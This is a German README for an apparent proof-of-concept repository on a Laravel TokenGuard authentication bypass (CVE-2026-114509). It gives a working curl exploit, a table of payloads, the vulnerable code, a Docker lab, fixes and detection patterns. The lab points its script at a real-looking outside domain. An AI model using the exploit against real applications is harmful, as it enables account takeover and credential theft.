
Proof of Concept, Ursachenanalyse und Docker-Lab für CVE-2026-114509, eine nicht authentifizierte Laravel-TokenGuard-Authentifizierungsumgehung auf MySQL/MariaDB, die zur Kontoübernahme führt.
Proof of Concept, Analyse und reproduzierbares Lab für CVE-2026-114509, eine nicht authentifizierte
Authentifizierungsumgehung in Laravels TokenGuard, die zur Kontoübernahme führt, wenn die
Anwendung auf MySQL oder MariaDB läuft.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-114509 |
| Advisory | GHSA-f9x3-7vq9-cph6 |
| CVSS v4.0 | 9.2 (Kritisch) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H |
| CWE | CWE-1287 (Improper Validation of Specified Type of Input), CWE-287 (Improper Authentication) |
| Betroffen | laravel/framework < 12.68.0, >= 13.0.0, < 13.29.0 |
| Behoben in | 12.68.0, 13.29.0 |
| Vektor | POST/GET JSON-Body mit api_token als Array von Ganzzahlen |
| Auswirkung | Authentifizierungsumgehung, Kontoübernahme, Offenlegung von Anmeldedaten |
Ein TokenGuard, konfiguriert mit driver => token und hash => false, akzeptiert
Anmeldedaten, die keine Zeichenkette sind. Wird {"api_token":[0]} als JSON-Body gesendet, baut Laravel
whereIn('api_token', [0]). MySQL castet dann die Spalte varchar implizit in eine Ganzzahl,
sodass jeder Token, der nicht mit einer Ziffer beginnt, zu 0 ausgewertet wird und übereinstimmt. Die erste Zeile
der Tabelle users wird an einen nicht authentifizierten Angreifer zurückgegeben.
curl -s -X GET http://target/api/user \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}
Drei unabhängige Schichten müssen alle vorhanden sein, damit eine Ausnutzung möglich ist.
src/Illuminate/Auth/TokenGuard.php (v11.43.0, verwundbarer Build):
$token = $this->getTokenForRequest();
if (! empty($token)) {
$user = $this->provider->retrieveByCredentials([
$this->storageKey => $this->hash ? hash('sha256', $token) : $token,
]);
}
Nur empty() wird geprüft. empty([0]) ist false, weil das Array ein Element enthält, sodass
das Array direkt an den Provider durchgereicht wird. Es gibt keine is_string()-Absicherung.
IN-Klauselsrc/Illuminate/Auth/EloquentUserProvider.php:
foreach ($credentials as $key => $value) {
if (is_array($value) || $value instanceof Arrayable) {
$query->whereIn($key, $value);
} elseif ($value instanceof Closure) {
$value($query);
} else {
$query->where($key, $value);
}
}
Ein Array wird als Liste von Kandidatenwerten interpretiert, sodass die Abfrage zu Folgendem wird:
select * from `users` where `api_token` in (0)
api_token ist eine Spalte vom Typ varchar. Der Vergleich einer String-Spalte mit einer Ganzzahl erzwingt eine
implizite Umwandlung des Spaltenwerts in eine Zahl:
select cast('admin_secret_token_12345' as unsigned); -- 0
select cast('abc' as unsigned); -- 0
select cast('1abc' as unsigned); -- 1
Jedes Token, das mit einem Buchstaben beginnt, wird zu 0 gecastet, daher stimmt where api_token in (0) überein.
PostgreSQL und SQLite lehnen diesen Vergleich ab oder verhalten sich fehlerhaft, weshalb die Schwachstelle
spezifisch für Datenbanken der MySQL-Familie ist.
Gemessen gegen das Lab in diesem Repository (Laravel 11.43.0, MySQL 8.0.46).
| Payload | Transport | HTTP | Ergebnis |
|---|---|---|---|
| (keine) | — | 401 | abgelehnt |
Bearer wrong_token | Header | 401 | abgelehnt |
?api_token=wrong | Query-String | 401 | abgelehnt |
?api_token[]=0 | Query-String | 401 | abgelehnt — immer ein String |
{"api_token":0} | JSON-Body | 401 | abgelehnt — empty(0) ist true |
{"api_token":["0"]} | JSON-Body | 401 | abgelehnt — String vs. varchar |
{"api_token":[1]} | JSON-Body | 401 | keine Zeile mit Cast-Wert 1 |
{"api_token":[0.5]} | JSON-Body | 401 | Float-Cast stimmt nicht überein |
{"api_token":[0]} | JSON-Body | 200 | Bypass |
{"api_token":[0,1]} | JSON-Body | 200 | Bypass |
Der Payload muss als echtes typisiertes Array ankommen. Query-Strings und Form-Encoding erzeugen immer Strings, weshalb der JSON-Body erforderlich ist.
Ein vollständiges Docker-Lab ist enthalten. Siehe docs/reproduction.md für
die vollständige Anleitung oder führe es direkt aus:
docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed
Fügen Sie den Lab-Hostnamen zu /etc/hosts hinzu:
echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts
Dann überprüfen:
./poc.sh http://angkasagroup.co.id
auth:api geschützte Routeapi_token,
wenn hash => false, was die Kompromittierung dauerhaft machtusers ein Administrator ist, gewährt die Umgehung
administrative Berechtigungencomposer require laravel/framework:^12.68
Die Korrektur ist eine einzelne Typüberprüfung:
if (is_string($token) && ! empty($token)) {
'hash' => true auf dem API-Guard. Gehashte Speicherung verwandelt das Array in einen TypeError
statt in einen Treffer.TokenGuard durch Laravel Sanctum oder Passport, die Tokens über einen
dedizierten Hash-Index auflösen statt über einen uneingeschränkten whereIn.api_token kein String ist:if (! is_string(request()->input('api_token'))) {
abort(401);
}
Anwendungsprotokolle zeigen eine erfolgreiche Authentifizierung ohne vorausgehenden Login. Achten Sie auf
JSON-Anfragekörper, in denen api_token ein Array statt eines Strings ist:
"api_token":[0]
"api_token":[1]
Auf der Datenbankebene das allgemeine Abfrageprotokoll aktivieren und Alarm auslösen bei:
where `api_token` in (0)
.
├── README.md this document
├── docs/
│ ├── CVE-2026-114509.pdf rendered analysis (this README)
│ └── reproduction.md step-by-step lab walkthrough
├── docker-compose.yml nginx + php-fpm + mysql lab
├── docker/
│ ├── Dockerfile
│ ├── nginx.conf
│ └── php.ini
├── src/ Laravel 11.43.0 application
└── poc.sh verification script
Dieses Repository dient der defensiven Forschung, der Patch-Verifikation und autorisierten Sicherheitstests. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen besitzen. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen eine Straftat.
Das Lab bindet an 127.0.0.1 und ist ausschließlich für die lokale Nutzung vorgesehen.